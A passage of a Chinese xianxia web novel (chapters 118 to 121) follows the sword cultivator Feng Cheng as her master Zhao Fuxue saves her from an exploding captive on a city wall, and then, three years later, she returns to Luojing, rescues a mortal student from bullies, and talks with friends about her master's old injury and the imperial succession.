第118章 第118章并非不近人情之人…… 封澄提了一口气,感觉自己的喉咙已经泛出血腥气了,灵力枯竭又被强行逼出来的感觉并不太好,偏生手下的肉票又不老实,总是伺机蠢蠢欲动,令封澄这一路走得属实艰难。 城门已近在眼前,季怀德挣了挣,小心回头看了一眼,道:“已经到城头了罢?” 不知是不是封澄的错觉,她似乎觉得城门之上隐着一层淡淡的灵流。 她不语,把人提起,艰难无比地在城墙之上落了脚,还没喘均匀了气,便看到了一旁的姜徵,她神色上有几分掩饰不住的欣喜,更多的却是焦急。 耳朵嗡鸣,隔着嗡嗡作响的灵流,她试探地动了动,确认自己没有破开大阵的能力后,反而平静了下来。 那边的姜徵见状,似乎在沉吟了片刻,终于咬了咬牙,唤了个守城士兵来,毫不迟疑地脱下簪子递过去,紧接着,指了指姜家的方向,做了个快去的手势。 封澄看得清楚,她的意思是,带着信物去找姜家人。 今夜迟归,尚且能找借口搪塞,而把事情捅到姜家那里,姜徵所作所为,便遮掩不得了。 于姜氏少主而言,这大概比要了她的命还要严重。 “喂。”封澄叹了口气,转而看向了季怀德,“你办砸了事,上头有没有老大罚你?” 穷途末路之中,反而令封澄生了些不合时宜的闲心。 季怀德抬起眼来,看着她,目光中是说不出的愣怔。 “别看我呀,”封澄耸了耸肩,“想想就知道了,敢绑姜氏少主,背后的主使人绝不是区区一个四方会,你不过是个给人打下手的。” 她来洛京半年,虽对洛京的世家到底有多大能量没概念,但一想到同为家主的赵负雪,封澄心底登时有了斤两。 作为赵负雪亲徒,她平素里也多少体验了赵负雪的护短。 同为世家,且绑走的还是少家主,姜允下手不会比赵负雪轻的。 话音落下,她感觉到季怀德僵硬的身体忽然松动了一下。 “……” 他不轻不重地拉了拉封澄衣角,目光中是说不出的祈求。 封澄斜睨了一眼,忽然间便恍然大悟——城门当前,姜家人要到了,季怀德跟她回洛京,按着官律去天机所,将背后指使之人一五一十地讲出来,姜家并非不知轻重之人,必会谅他苦衷,到时候他虽受些牢狱之苦,可却保全了命,划算的很。 至于为何到了城门才肯反水——若是黑衣人半路察觉不对,他岂不是要被当场清理门户。 思及此处,封澄顿时觉得自己拎着个胖子夜奔半座城的举措变得好笑起来,她咬牙把人拎起来,心想:“你涮我呢?” 说来商人重权宜,季怀德的反水,几乎是从她杀回老宅那一刻便瞬间开始了。 季怀德眉毛稍微动了动。 黑衣人离得太近,难以确保季怀德活着进城,封澄索性把人掐着按在了灵流嗖嗖的大阵上,扬声道:“外面的人听好了!若还想叫你们老大活着,就离远一点!” 黑衣人们沉寂须臾,果然依言向后退了。 封澄把人又是一掐:“还不够,再退!” 再退时,众人却有些迟疑,封澄见状,眯眼对季怀德悄声道:“装一装。” 依言,季怀德斟酌片刻,开始面目扭曲地攥住了封澄的手臂,远远处看着,便是一副殊死挣扎的模样。 这一挣扎果然奏效,黑衣人立即动身向后退去,封澄看得满意,于是收回了手,道:“行了,不用装了。” 可季怀德却没有依言停止。 他的脸逐渐浮现上了狰狞的红紫之色,双目凸出,身体以前所未有之速度膨胀了起来,将皮肤扯裂出一道道的血色伤痕,季怀德双手捧着喉咙,嗬嗬地怪叫,封澄顿觉不对——这不是装的! 身体比大脑提前一步做出反应,封澄猛地提身向后掠去,谁料陡然生变,一阵冲天白光猛然亮起,紧接着封澄便眼前一白——来不及了! 烈火与爆裂的灵气从季怀德那具不经锻炼而有些发福的身体中爆发,仿佛是新年之时提前的花火似的,在那一瞬间,时间仿佛被拉得格外漫长,封澄清楚地看到了城头上每个人脸上的神色,季怀德的难以置信,姜徵的失声大喊,还有守城士兵们如临大敌的惊惶。 “真折在这儿了,”封澄心想,“可惜,要是……” 要是后面是什么,她临死关头,竟然还说不出口。 忽然间,往外炸裂的灵流似乎抖了抖,一股冻彻骨髓的寒意霎时席卷了整个城头。 封澄眼前一花,一道白衣之影便来到了她的面前,轻飘飘地把人接了满怀。 在落入赵负雪怀中之时,封澄听到了他轻轻的喟叹,与他怀中浓得化不开的冷香气。 “真是乱来。” 紧接着,身后慢了半拍的炸响几乎炸穿了封澄的耳膜,待封澄反应过来时,城头的护城大阵已被炸得千疮百孔。她愣愣地挂在赵负雪的脖子上,好半晌,才后知后觉地反应过方才的凶险之景。 手中一道一道的伤口触及到赵负雪身上柔软素白的衣料时,封澄堵在心头、后知后觉的惊惶与委屈霎时如潮水般炸裂而开,她双手环着赵负雪的脖子,一头扎进了赵负雪的胸口,道:“师尊!” 天不怕地不怕的人,闯得不管不顾的人,在此时此刻却流露出几分堪称弱不禁风的黏糊委屈来。 姜徵焦急的脚步顿了顿,随即缓缓地偏了偏头。 赵负雪垂眸,一手托她,一手安抚地拍了拍封澄的发顶,缓声道:“我来晚了。” 在赵负雪身上缓了半日,封澄总算觉得再赖就过分了,她从赵负雪身上挣扎下来,往前一走,随即对着季怀德爆炸的遗迹啧啧道:“真狠啊,一个根本没什么灵力的人,肚子里却埋了这样一颗炸弹。” 一旁的姜徵心中总觉古怪,还是转头向赵负雪行礼道:“赵先生。” 赵负雪看着封澄扒在城头的背影,蜷了蜷手指,才淡淡道:“姜姑娘,今夜之事动静极大,瞒不住皇后,你自去道明罢。” 姜徵行礼的动作僵在半空,她顿了顿,却没有起身,而是更深地拜了下去:“连累师妹是姜徵 过错,自知罪过之重难以弥补,今日姨母之命不得违背,姜徵来日再来向师妹请罪。” 赵负雪道:“姜氏的人已在城下,不必上来了。” 姜徵道:“好。” 她擦了擦自己的脸,整了整衣装,随即将刀仔细包好,才提步向城墙下走去,临行前,她回过头来,深深地望了一眼城墙。 那里已经是一片血肉燃就的红,血迹滴滴答答,分不清是内脏的碎屑,还是血肉的泥。 “那本该是我的结局,或许比那更惨烈些。”姜徵忽然想。 年夜里不知何时下起了大雪,姜徵迎着鹅毛大雪,静静地转过身,走下了城头。 姜徵离去,大阵却千疮百孔,守城士兵颇有些手足无措,他们看着千疮百孔的大阵,又看着兹拉乱响的阵盘,最后又看向了仙人儿一般的赵负雪。 支支吾吾片刻,众人自认倒霉,摇头重新走向了值守点。 谁料移栽城墙上的赵负雪却忽然唤住他们。 “年夜将至,该回家了。” 秦楚愕然转过了头。 仙人并未转身,城头上的小姑娘看着她们,一身鹅黄的冬装,绑着个双环头,若非脸上与身上的血迹,本该是个玉雪可人的小姑娘。 她眨着一双圆溜溜的桃花眼,看向众人,笑道:“我师尊让你们回去啦。” 封澄冲着秦楚摆了摆手,随后几步走向了赵负雪:“过个好年!” 她与赵负雪并肩而立于城墙之上的刹那,自洛京之东绽出了一线灿然无匹的绚丽花火,紧接着,这花火从宫中一路蔓延至城中大街小巷,经久不息的、此起彼伏的火树银花下,封澄抬起眼睛,眯着眼睛笑了:“师尊也是。” 赵负雪将外面衣袍脱下,随后严严实实地将封澄包裹了起来,这衣上的毛皮不知是什么灵兽的,雪白无比,毛茸茸地团着封澄的脸。 衣袍上的冷香气被封澄过热的体温蒸腾得温暖而无孔不入。 赵负雪平静道:“阿澄,即便是我,也不可能每次都及时出现。” “不要乱跑,不要让我担心。” 阵盘在赵负雪的手中重新露出了流光溢彩的灵气,灵流如潮水,逐渐从四处奔涌而来,缓缓地填补了千疮百孔的大阵。封澄心虚,又看着不懂,于是尴尬地呵气暖手,装作鸵鸟,老实了片刻,这沉默的氛围又令她忍不住开口道: “我没想到,”封澄道,“师尊会开口令他们回去。” 他从来冷淡,瞧起来不像是这么会体恤人的。 “凡人寿命短暂,生死须臾,相聚之日并非许多,”赵负雪淡然道,“我并非不近人情之人。” 他从前的日子过得缓慢而钝痛,年节之于他,不过是平添烦恼的日子。 赵负雪垂眸,专心修补着阵盘,搅合出了今晚这摊烂事的封澄乖乖地跟着打下手,勤勤恳恳地灵石填进阵中。 不知为何,封澄有些走神。 护城大阵事关一城生机,她后知后觉地想起来,无论是当年行遍天下,仗剑除魔,还是如今这般种种,赵负雪从来都是将护佑苍生作大道来修行的。 想来身体旧伤,大抵是当年仗剑所留。 再看向支着病体的赵负雪时,她心中莫名多了几分敬重。 她也要护好赵负雪所行的天下。 第119章 第119章徒婿 光阴流水,一去不回,三年一晃而过。今日洛京的热闹非凡,原因无他——宫中要选入宫伴读的孩子了。 中宫无子,皇帝子息单薄,眼瞧着已然年迈,国本不定,最终抱养了宗室子刘润入宫,作太子教养。 围在告示前的人头攒动,陈还废了好大的力气才从其中挤出来,挤出人群了,便见到一身白衣,沉静站在人群一丈外的姜徵,其人仿佛与等闲人格格不入似的,那股莫名其妙的仙气足以让所有人绕着她走,登时,陈还忍不住翻了个白眼。 “老头子要的炼丹材料齐了么?他别是等急了掀炉子,”陈还埋怨道,“放着天机院库房的药草不用,非要什么新鲜的药草。一天天的,毛病忒多。” 她穿着一身墨绿劲装,头发只用一根簪子固定,人却早已褪去了年少时那番圆润,样子是锋利了许多。 这些年内院修行,接触是不可避免,陈还从来不爱和世家子打交道,可姜徵自打三年前年夜失踪告了半月的假后,再回到天机院时,陈还便瞧着她顺眼了许多。 姜徵不语,只是沉默着等她走来,然后在陈还离她半步远的距离转身,抬步走去。 “都齐了,”她沉静地讽道,“若不是你挤去瞧热闹,兴许还能早两刻钟回去。” 陈还噎了噎,半晌,才道:“宫中秘辛,过继太子,我们做平头百姓的好奇些多么正常,你以为谁都像你一般?话说回来,姜少主,你有没有一手消息能给我八卦一下?” 姜徵步履不停,连个眼神都没分给她:“你不要命的话,我倒是不介意。” 陈还缩了缩脖子,感觉似乎又把刀在脖颈上擦了擦似的,她悻悻道:“阿澄找你打听消息,你倒是从不怕她丢命。” 姜徵呵地冷笑:“若你能在我手下过三十招,你也能像她一般。” 话不投机半句多,她一个阵修,和这俩刀修剑修比什么?陈还气得也闭嘴了,打定主意一路上不搭理姜徵,走了几步,姜徵却突然开口了。 “阿澄什么时候回来?” 陈还一怔。 这些年的封澄渐渐地不怎么留在天机院了,时不时便缺课不来,一问,便是又接了案子去外面除魔了。 只有一次,姜徵某日深夜,从武场抬头,见她血痕满身,踏月而归,奔向鸣霄室的背影。 那便是半年来,她唯一一次见封澄了。 封澄从前爱热闹,后来新学生众多,她却成了天机内院中最令人陌生的师姐。 陈还低下了头,轻声道:“……不知道,她说是这几日回来了,前些日子的消息,听说是已经快到洛京了。” 话毕,二人皆有些沉默。 二人一路同行,很快便到了天机院后街,夏日炎炎,不免口舌干燥,不约而同地,两人一同向着从前常去的茶水摊走去。 还未走近,忽然听见前头几句笑语。 “呦,我当是谁,原来是咱天机院建院多年来唯一一个凡人?怎地,您那老母亲只为你跪求来了入院的名 额,却没给你求来买甜水的钱么?” 茶水摊旁设了一面馆,一年轻伙计带着头巾,穿着有些油腻腻的短打,脸倒是很是清秀白皙,一红,便红得如同灯笼。此人低着头抹桌,仿佛什么都没听到,抹布几乎要将桌子抹出一个洞来。 姜徵与陈还对视一眼,陈还打量了打量,有些愕然道:“听着像是外院这届的新学生,凡人之身做了天机院学生,闹得满城风雨,叫……叫什么,何守悟。” 顿了顿,陈还又道:“此人入学的法子颇为……是他老母带着太祖时的手信,跪在天机院门口三日,最后连皇帝都惊动了,才莫名入的院。” 话还没说完,身边却没了人影,姜徵早一步上了去,陈还吓了一跳,连忙一把抓住她:“你多管什么闲事,若是你们打起来波及到这凡人,信不信他老母亲带着太祖手信跪姜家门口去!” 这么拉扯间,那几个天机院学生端着甜水,若有若无地便堵在了面馆前头,白皙男子见状,打起抹布便要回内堂,还没走几步,后颈却被拉住了。 “小爷和你讲话呢,”那恶少不满道,“你转头就走几个意思,我们买面。” 这几人看似买面,实则把门口堵得严严实实,几个本来要进的客人瞧见这几张脸,也都绕道而行了。何守悟被拉了个踉跄,险些滑倒,多亏是支了旁边的桌子才站稳,当即回头含恨道:“这是面馆,我不过一个跑堂的,洒扫收拾使得,伺候客观解闷却不是我的活!” 谁料此话一出,聚在门口的人竟然哈哈大笑起来,为首的当即道:“你听听!我们还没往这儿说呢,他就抢着拿捏上了那楚馆做派,从前常陪人解闷是不?”说着,手竟然要摸上何守悟的脸! 这一下可谓是石破天惊,何守悟登时厉声大叫,紧接着一拳挥向了那恶少的脸,恶少猝不及防,竟然被一拳揍得偏过头去,他擦了擦嘴边被打出来的血,大怒道:“你们可都看好了啊,他先动的手——给我打!” 姜徵见状不妙,正要商丘按,陈还提前拉住她道:“别冲动!速速去找我师尊,叫她来处理。” “这么多人,等院长来,早出人命了!” 谁料那几个恶少打手尚未动作,恶少头上便不知从何处飞来了一只圆溜溜的碗,随即乓啷一声,砸得他满头满脸皆是甜水。 “这么大的动静,”一人不耐道,“喝个甜水都不安生。” 姜徵与陈还同时一怔。 一人端着碗茶水,懒洋洋地从排在茶水摊的人中走了出来,她身量纤长,头发只用一发带束起,一身红衣,带一斗笠,腰间一把宝光熠熠的长剑上吊着剑坠,随着她的步子而一摇一晃地甩着。 “阿澄!”陈还一喜,又紧接反应了过来——她要去多管闲事! 何守悟抬眼瞧见封澄,很是怔了怔,在她抬起脸时,人几乎傻在了原地。 女子的脸已经脱去了少女是那番不谙世事的稚气,腮边软肉荡然无存,露出一张堪称摄心夺魄的脸,眼角眉梢间三分冷淡,七分不达眼底的笑意,一身威势如同初见血的薄刃,足以将人骇得发抖。 恶少的手登时僵硬无比地停在了半空,灵力也讪讪地收了回去。 “滚。”女子眼也不抬道。 后头几个打手尚且不明所以,为首的恶少便先变了脸色,他低着头,回头一挥手,随即夹着尾巴,灰溜溜地出了铺子。 开玩笑,旁人不见得,他却是实打实地听见过这位的脸。 腰间长生,在外游历,这不是旁人,乃是赵负雪门下亲徒,剑修封澄! 恶少一行人离去,人群也渐渐地恢复了流动,何守悟忙上前去拱手,道谢;“多谢姑娘侠义心肠,出手相救!不知姑娘名姓,能否容我前去拜谢?” 封澄只摆了摆手,随手丢了块银子去柜上:“谢就不必了,我是进来吃面的……就那个牛肉面吧,给我打二两走。” 何守悟忙哎了一声,进去收拾。 封澄瞅着跌在地上的冰碗直心疼,她悄悄地把头伸出去,琢磨着再去排甜水摊的队伍要多久,在粗粗估摸了队伍长短后,跃跃欲试道:“午膳前能回去,排!” 谁料身后却被人狠狠地揪了一把,紧接着便是一阵熟悉的咬牙切齿:“姓封的,你又一声不吭地跑回来!” 回过头,封澄也是一惊,被撞上来的陈还吓了一跳,她看着陈还怔了怔,随后又笑,越过陈还的肩头,果然又看见了沉静站在不远处的姜徵。 “你俩怎么在这儿?我本想回去沐浴过了再去内院的——喂,离我远点,身上臭着呢。” 陈还却不理,话说二人少年时不过一般高,陈还年长些,还比封澄略高些,现如今封澄不知是吃了什么药,个子蹿得比隔壁得玉米杆子还快,转眼间就比她高出半个头去了。 “这次回来呆多久?”陈还警惕道,“若是像上次那般呆两日便跑,别怪我翻脸不认人。” 封澄忙笑着告饶:“这次不急了,外头的事处理得差不多了,我回天机院多住些时候,待结业后再走。” 粗略算算,距离内院弟子的结业大比还有一年多的功夫,陈还满意了:“好嘛,这才对,今晚住弟子苑吧?阿徵和我正有空,这半年洛京的新鲜事可多。” 封澄想了想,道:“行,我回去和师尊说一声就去寻你们。” 陈还与姜徵闻言,目光中皆有些意味深长的神色,随后颇为默契地同时转头,闭口不谈了。 结伴向天机院去时,陈还若无其事地开口:“对了,你知道最近有人打听你的亲事么?” 封澄面露空白之色:“啊?” 一旁的姜徵也若无其事道:“是有一些,毕竟一日为师,终身为父,你自小拜在赵先生门下,同你攀亲,自然是想给赵氏做徒婿了。” 闻言,封澄的脸轻微一黑。 “瞧见那个了么?”她指了指隔壁天机所前头的鸣冤鼓,这鼓设得高度恰好,姜徵与陈还不明所以地点了点头。 “什么为师为父的,”她黑着脸道,“谁乱打听?叫他来,我把他当鼓槌敲。” 第120章 第120章师徒 察觉到封澄对赵负雪的情分不一般,多赖于姜徵自小浸润在世家中的、天生的警觉。 比如说她绝不会赖在祝京身上不下来,再比如说她不会带着伤深夜回京,然后偷偷看一眼祝京,再风尘仆仆地离去,再比如说……比如太多了,超出了寻常弟子对师尊的孺慕之情,她甚至觉得封澄压根没打算藏。 察觉到这一份情意时,从前所熟知地种种的纲常伦理震耳发聩地砸晕了她,几乎令她不敢相信这一事实,这世上无人比姜徵更清楚世家之子离经叛道的代价,她只心乱如麻地想——若是有朝一日事情败露,无论是赵家还是世俗,都不一定会对赵负雪发难,而封澄,绝对不会被放过。 就如同她年少时所经的那场噩梦一般,成槐四方会被姜允秘密清洗,血流成河,未留一个活口。 哪怕其中多是无辜之人。 而世家的能量远不止于此。 她没想过被赵负雪知道是什么后果么? 姜徵心事重重地回了天机院,封澄与陈还分道扬镳,一进天机院,便直奔去了弟子苑的浴池,打算好好洗一洗再去见赵负雪,谁料前脚刚进天机院,头上便不偏不倚地落了一只亮晶晶的小鸟。 这鸟给她送了几年的饭,她再熟悉不过,当即有些哑然失笑:“知道了,我马上就回去,且留我沐浴的时间好不好?” 亮晶晶的小鸟虽是赵负雪的造物,却不像赵负雪的性子,它颇为赌气地往封澄头顶一坐,大有不跟它去便不肯下来之态,封澄拿食指弹了弹它,没弹动这肥鸡,索性道:“这样,既然你不走,就和我一道去洗。” 鸟嘎地一声,受惊似的扑 棱着飞开,封澄早已眼疾手快地捏住了鸟翅,随后三下五除二把鸟塞进了袖中,大摇大摆往弟子苑浴池去了。 数丈之外的鸣霄室,赵负雪抵着眉心,轻微地叹了口气:“……胡闹。” 内院弟子的福利相当可以,至少这弟子苑的温泉是深得封澄欢心,此地不比鸣霄室浴池琉璃剔透,而是古朴颇具山野趣味,此时正是午膳之时,并没有什么人来浴池,于是封澄便可一人享受整个热气腾腾的大温泉。 泡在热气蒸腾的温泉里,她的余光瞟向另一旁的晶亮小鸟。 它从入水时便像是被跑傻了般,呆呆地浮在水面上,好像一只又呆又小的雏鹅,封澄起了坏心,游动过去,捏了捏小鸟的翅膀,谁料小鸟仍旧呆呆的,一动也不动。 “真是奇怪了,”封澄想,“它平素机灵得很,怎么一进水就成了个呆子?” 待封澄沐浴完,穿好衣裳时,这鸟又恢复了灵气,它颇为不满地抖了封澄一身的水,随后嘎地一声便往鸣霄室飞去,不管身后怒气冲冲的封澄。 你追我赶地,封澄总算是推开了鸣霄室的大门。 一进院门,熟悉的冷香气便扑了封澄满怀,她怔怔地转过身,便见赵负雪端然坐在花树之下,听门口动静,只头也不抬道:“回来了?坐。” 朝思暮想之人就在面前,封澄登时鼻子一酸:“师尊!” 赵负雪面色平静,就如同一个真正的师长一般:“历练得可好?” 这就是要考校她功课的意思了,封澄站好,乖乖道:“似有所觉,却如同有一层障,始终不得解。” 赵负雪淡淡道:“为何。” 封澄沉声道:“我的剑锋利无匹,可直斩向前,可剑出为理,却左右两难。” “情?” 封澄闭了闭眼睛。 “两月前,我路经一户人家,见一修行之人欺压凡人,路见不平,拔刀相助。” 赵负雪沉静地听着。 “我杀了那修士之后,才从村中旁人口中得知,这修士虽日日间横行乡里,却也是此地唯一的庇护,我杀了他,此地便没了修士,无力抵抗天魔之类的侵袭。” 顿了顿,封澄道:“若是师尊,会怎么做?” 赵负雪垂眸,忽然地却笑了。 “两月前,”他道,“那日你星夜回京,便是为了此事?” 封澄闻言,一怔,随即脊柱上窜上一股麻意,她心乱如麻地想——怎么,赵负雪那时根本没睡么! “……当日我的车马被村民杀了,一群人堵在我落榻的客栈前嚎哭,”封澄道,“客栈老板赶我走了,一时想不开,随意便御剑回了京。” 她心惊肉跳地等了半日,却见赵负雪慢慢地笑了,他似乎并不怎么在乎这件事,也像是将回京一事归咎于封澄的气急,慢慢道:“是什么地方,我派当地赵家修士去驻守,此等败类杀了就是,这也配令你心乱么。” “剑有两刃,”赵负雪道,“可为杀一人,也可为救一人。阿澄,你做的没错,是他们不辨是非。” 封澄看着赵负雪,半晌,微微垂下了头。 是这样吗? 从一个欺压乡里的恶修士,换成了赵氏家主派去的精英。 然后重新开始仰仗另一个修士一念之间的善恶。 封澄的心中躁动不已,她本能地觉得,不该这样的。 那是赵负雪解决问题的方式,却不是她的。 世人皆知她是赵负雪的徒弟,赵负雪能为她扫平所有事情,他是天下最好的师尊。 而封澄平生最不想要的,便是“赵负雪亲徒”这一名分。 突然地,封澄开口道:“师尊。” 赵负雪垂眸看她:“嗯。” “待从天机院结业后……”她沉默着道,“我想去长煌,去天机军。” 赵负雪捏在轮椅上的手霎时收紧。 封澄不想一辈子都做赵负雪的徒弟,不想羸弱到赵负雪随手便能解决的问题到她这里便是天大的坎儿。 她心头有一股野火,如若凡人要忍耐修士的欺压是因随处可见的天魔,那么她就把天魔的入口杀死,把所有的天魔拦在长煌之外。 “天机军,”赵负雪微微一笑,“留在洛京不好么?” 封澄看着他,半晌,轻轻地摇了摇头。 “不好。” 这三年间,她行遍天下,同当年的赵负雪一般,可走得越多,心中却越茫然。 天下太大了,一人,一剑,世间不平事如同野草一样多,妖魔横出,四处作乱,行到最终,封澄只觉得苍凉。 她走到最终,尚能回到赵负雪的身边,而这世间的凡尘俗事滚滚向前,终途又在何处呢? 剑会卷刃,人会苍老,总有一天,她会什么都做不到。 一个仗剑游侠的剑客,是护不了天下的。 “……我,想了很久了,”封澄慢慢道,“洛京很好,只是我不该留在这里了。” 封澄深知,一个京城世家的家主,一个长煌大原的野孩子,若非赵负雪收徒,凭她从前境况,大概一辈子也见不到这位深居简出的仙人的。 师徒名分成了二人朝夕相处的机缘,却也成了封澄不得前进一步的禁锢。 她不会留在洛京。 她会在赵负雪见不到的地方,赵负雪未曾涉足过的领域,她重新开始,直到能与赵负雪比肩。 到时候,世人还只会当她是赵负雪的徒儿么? 不知为何,封澄有些不敢直视赵负雪的视线,她察觉到赵负雪的目光落在他身上,一须臾的时间都过得分外漫长,不知过了多久,赵负雪终于道:“你决定便好,还有一年,可仔细想想。” 仔细想想,这四个字,在赵负雪眼中几乎是等同于希望封澄留下了,可封澄听在耳中,只觉得赵负雪实在是天下最忧心忡忡的师尊。 赵负雪越是宽和纵容,越是像一个无奈而尊重的师尊,封澄越是心中煎熬,她抬起眼来,强笑一声,道:“这有什么好想的,总归那边也是我家呗。对了,师尊,我带了还沙的石头酥来,听说你当年在还沙游历许久,想来你大概是爱吃的,特意捎来的。” 石头酥被她妥帖而细心地包好,这酥名叫石头,却是极为易碎的。 她用油纸去将点心摆在盘中,未曾见到身后的赵负雪,在听到“还沙”二字时,微微暗下的眼睛。 晚膳时,两人都心不在焉,封澄吃好,把碗筷交给飞来的亮晶晶小鸟,其中一只正是今日去寻她那只,很是不爱搭理地叼走了她的食案,她看得好笑,于是道:“师尊,你这鸟不能见水么?今日我给这只洗澡,一进水呆得和只鸭子一样。” 赵负雪不轻不重地瞥了她一眼。 这些鸟有一只算一只,统统是他灵识所化,几乎等同于他放在外面的感官,封澄进水沐浴,他便掐断了这只鸟的灵识,自然呆若木鸡。 而封澄却被赵负雪这一眼扫得心神荡漾,她颇为心虚地别开头,狼狈地起身:“那个,师尊,我今夜就不回鸣霄室睡了,陈还和姜徵喊我去弟子苑。” 她本以为随着自己阅尽千帆,自然不会停留在年少时的模糊情愫上,年月过去也该淡了,可谁料她对赵负雪的痴心妄想却未曾随着光阴流去、足迹渐广而消逝,反而越发地变本加厉起来,从模糊不清的仰慕而转作了某种更为难以言喻,也更为炽热的东西,沉在魂魄底部,几乎成了不得超生的罪责。 封澄几乎不敢看向赵负雪的眼睛了。 匆忙起身时,她的衣袖却被不轻不重地抓住了。 “……?” “夜间凉,”赵负雪轻轻地向她手中放了一枚微微发热的炎玉,“路上暖手。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 120-130 第121章 第121章不肯说 魂不守舍地揣着灵石走了半路,封澄才后知后觉地想起来,夏日炎炎,暖什么手? 好似觉得烫手似的,她下意识地丢走炎玉,又险而又险地抓了回来。封澄有些心慌地回想着赵负雪将炎玉放在她手心的神情,一时间觉得心乱如麻。 他为什么要给她一粒热滚滚的炎玉? 怀揣着这般琢磨不明的想法,封澄走进了鸣霄室的弟子苑,院中温泉蒸腾,她踩着池子边走,忽然间便从水池中伸出一只手,准确地抓住了她的脚腕,然后一拉! 扑通一声,封澄神色呆滞地栽进了水池里。 陈还抹着脸上的水哈哈大笑:“你傻了么!不知道躲的?” 水中咕嘟咕嘟,却没有人的回应。 一旁的姜徵看着不对,走了几步游过来:“阿澄怎么没动静?” 陈还一想也慌了:“头碰上水里石头了?晕在下面?坏了——” 话音未落,水中猝然伸出两只手,随即一手一个,稳准狠地按住姜徵与陈还,又是噗通噗通两声巨响,二人同 时被狠狠地按进了温泉里,封澄从水中浮出来,幽幽道:“洗澡水好喝么?” 陈还从水中浮出来大怒:“你还学会装死了!” 姜徵在外人面前从来放不开,除非是见过她窘境、还破口对骂过的封澄,于是她从水中淡淡地浮出来,淡淡地整理好了头发,才道:“为什么我也被按进去了。” 封澄大笑:“来都来了,就别空手回去嘛。” 姜徵不语,只是在封澄开口的刹那,掬水狠狠地泼了过去。 笑闹了半个时辰,三人终于都累了,于是便躺在水中,懒洋洋地放空。 “你今天来得太晚了,”陈还控诉道,“姜徵险些要去鸣霄室找你,就怕你被赵先生扣在里头。” 封澄叼着酒杯,墨一般的头发漆黑地披在雪白的背后,她双臂搭在脑后,抬着头,嗤笑了一声:“我都多大了,还要被师尊管门禁,我说要出门,师尊能说一个不字么。” 一旁的姜徵幽幽道:“我姜氏惯出河东之狮,出门在外,她们的夫婿也常是你这番腔调。” 封澄:“……” “不是说赵先生是河东狮的意思,”姜徵补充道,“主要是你这话太像了。” 陈还笑倒了一团:“哈哈哈,哈哈哈哈!!” 侍从备的酒温和,下喉柔软,封澄翻着白眼喝了口,沉默半晌,道:“我前几日听说师尊身体又犯了旧疾。” 姜徵与陈还对视一眼——这大概才是封澄回京不走的缘由。 姜徵游到了封澄的身边,与她一同躺在石壁上:“连赵先生那种修士,都只能将将遏制的旧伤,你担心又有何用?若有办法,他早就用了。” 陈还道:“前些日子寒气外泄,冰封了半座天机院,若非院中有他们设下的阵,大抵半个天机院的人都要被生生封在里头了。温师叔从宫中赶来,施针而用,才将赵先生的寒气抑住。” 人的身体犹如一道封印,用以锁住和驱使体中的灵气,而赵负雪虽于修行之途上独步天下,其人却是封不住灵气的残破之躯。若说等闲修士灵气外泄是小小灾害,那么赵负雪的灵气外泄便堪称是天灾了。 封澄仰了仰头,把杯中酒饮下:“……什么都没和我说。” 陈还沉默,片刻,道:“兴许是怕你在外担心,我师尊也这样。” 封澄不语,只是轻轻地摇了摇头。 他的旧伤从何而来,为何发作得如此迅猛,以及究竟有何解决之法,赵负雪从来都一句未提,她与赵负雪朝夕相处数年,说到底却始终隔了一层令人心焦的隔阂,封澄迫切地想知道过去的一切,哪怕是只言片语也可。 可赵负雪浑然不觉,只做着天下最温和、最纵容、最尽职尽责的师尊。 腿上旧伤令他不得不坐在轮椅之上,可与她练剑之时,赵负雪宁愿以机关术支撑着腿都会面面俱到地与她喂招。 封澄沉吟片刻,道:“温师叔施针的时候有没有说些什么?” 陈还茫然地摇了摇头——如若不是去找封澄,她连鸣霄室的门都懒得进一进,见着赵负雪就想溜之大吉,他灵气外泄,没把她当场冻死了事就算她福大命大了,哪有胆子关心温不戒说了什么? 一旁的姜徵沉吟片刻,道:“当时问诊之时并无旁人,只是后来温不戒入宫向我姨母禀报时,倒是说过此事。” “什么?” “他说凭赵先生灵力,旧伤早该痊愈,如此迟迟不愈是心疾,似乎是早年赵家的什么咒有关系。” 心疾? 封澄疑惑无比,瞧着赵负雪那副淡泊宁静、冷淡无匹的模样,哪里像是有心疾的? 会叫别人有心疾才是吧。 这般腹诽着,封澄又想起了赵负雪今夜莫名递给她的炎玉,一时间更不知道怎么说才好了,于是一声长叹,把身体沉沉地埋进了水里。 “不说这些了,你在鸣霄室的日子久着呢,到时候慢慢地问便是了,”陈还将水中浮盘上的酒壶取下,给三人一人斟了一杯,道:“你知道今日皇榜贴了什么东西么?” 封澄初初回京,当然不知道,于是摇摇头:“什么?” 陈还挑挑眉道:“老皇帝终究还是生不了孩子,从旁支抱了个十几岁的孩子来了,现在布告下去,要朝中大员添几个资质佳的孩子去宫中陪着伴读呢。” 封澄奇道:“你说多少岁?十几岁?” 陈还微笑着点了点头:“要的伴读是这个年纪的,想必小太子也是差不离的。” “十几岁的孩子,都认事了吧?没有年幼宗亲了么?” 陈还耸耸肩:“宫中秘辛,这你就要问问姜少主了。” 姜徵横了她一眼,看向封澄,沉吟半晌,才道:“……老皇帝撑不住了,姨母连棺木都已经备好。” 闻言,封澄倒是一惊。 猜测是一回事,从姜徵口中得到证实,又是另一回事了。 那老皇帝她倒是没见过,不过这些年里行径四方,百姓口中倒是没有多少对这皇帝的怨言,称得上是个无功无过的中庸之君。 陈还咂舌道:“与阿澄说起这些来就不用顾及小命啦?我今日问什么都不肯说。” 姜徵微妙地斜睨她一眼:“你若是这话往外说出去,我不保证姨母不回来要你的命。” 陈还:“……” 陈还一转话题:“话说回来啊,按理来说选了太子,共治天下的皇后也该选出来了,从前一贯都是姜氏族人,这位少主,这次的皇后娘娘又是你哪位族妹啊?” 姜徵淡淡道:“除家主一脉之外,旁人皆有可能。族中已挑好年纪合适的孩子,不日便会送往宫中,到时候你便知晓了。” 封澄道:“那宫中可真不是人呆的地方……我只去见过你姨母一次,半点儿灵力都用不出来,直叫修士憋屈得要命,选入宫的孩子也是受苦了。” 夜色渐渐深了,依稀间的凉气吹在三人身上,令人皮肤有些发凉,姜徵盘着头发,沉甸甸的头发在她脑后轻轻晃了晃:“选入宫的孩子,都是资质差一些、几乎无缘仙途的孩子。家主一脉需要修行灵力,灵力强横,以此护得姜氏安宁,所以不会是入宫的人选。” 姜徵瞧着安安静静一个人,却是用刀的高手,即便放眼天下,又有几个刀修能及姜徵?这话倒也不虚,至少陈还是心服口服了。 封澄道:“……比起曾经登上仙途,却不得不入宫做个凡人,还是从一开始就无缘仙途的人,进宫更合适些么。” 